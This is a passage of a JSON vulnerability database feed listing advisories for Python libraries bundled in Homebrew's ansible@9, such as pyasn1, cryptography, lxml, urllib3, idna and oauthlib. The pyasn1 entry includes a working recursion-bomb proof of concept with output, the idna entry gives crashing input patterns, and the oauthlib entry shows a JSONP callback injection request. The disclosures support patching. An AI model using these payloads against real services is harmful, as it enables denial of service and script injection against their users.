Engine","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26007"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pyca/cryptography/releases/tag/46.0.5"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/02/10/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-30922","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922","PYSEC-2026-2263"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.3","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"Denial of Service in pyasn1 via Unbounded Recursion","details":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22987"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:65126"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:8437"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-30922"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:12176"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13902"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13916"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13917"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:16009"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17083"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19355"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20588"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22131"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22132"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22133"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22134"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22135"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22969"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/03/20/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-34073","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-m959-cc7f-wv43","CVE-2026-34073","PYSEC-2026-35"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"46.0.6","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"cryptography has incomplete DNS name constraint enforcement on peer names","details":"## Summary\n\nIn versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the \"peer name\" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.\n\nThis behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.\n\nIn practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.\n\nSee CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.\n\n## Remediation\n\nUsers should upgrade to 46.0.6 or newer. \n\n## Attribution\n\nReporter: @1seal","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34073"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-39892","published":"2026-08-13T16:35:23Z","modified":"2026-11-05T08:43:06Z","upstream":["GHSA-p423-j2cm-9vmq","CVE-2026-39892","PYSEC-2026-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"46.0.7","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs","details":"If a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. `Hash.update()`), this could lead to buffer overflows. For example:\n\n```python\nh = Hash(SHA256())\nb.update(buf[::-1])\n```\n\nwould read past the end of the buffer on Python >3.11","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39892"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43651"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43670"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43851"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43853"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43854"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:43855"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:46956"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:7295"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-39892"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456735"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20338"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:21017"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22465"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22629"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22840"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:23361"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24853"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30089"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/04/08/12"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-41066","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.0.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.0.2","key":"pkg:pypi/lxml@6.0.2","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-44405","published":"2026-08-13T16:35:23Z","modified":"2026-11-09T08:45:08Z","upstream":["GHSA-r374-rxx8-8654","CVE-2026-44405","PYSEC-2026-2858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"5.0.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"4.0.0","key":"pkg:pypi/paramiko@4.0.0","resource":"paramiko"}]},"summary":"Paramiko rsakey.py allows the SHA-1 algorithm","details":"In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44405"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/a4489456b6f65281e172380cc4826cee5e851dbb"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r374-rxx8-8654"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2026-2858.yaml"},{"type":"WEB","url":"https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REP_paramiko-security-audit_v1.1.pdf"},{"type":"WEB","url":"https://pypi.org/project/paramiko"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-44431","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:31Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-4539","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.13.0_3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.19.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.19.2","key":"pkg:pypi/pygments@2.19.2","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-45409","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:29Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.11"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.11","key":"pkg:pypi/idna@3.11","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-49264","published":"2026-09-30T18:43:46Z","modified":"2026-10-14T08:46:39Z","upstream":["GHSA-hj66-6f7g-4r5v","CVE-2026-49264","PYSEC-2026-4113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation","details":"### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n    response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n    response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `<script src=\"...\">`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `<script src>` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip 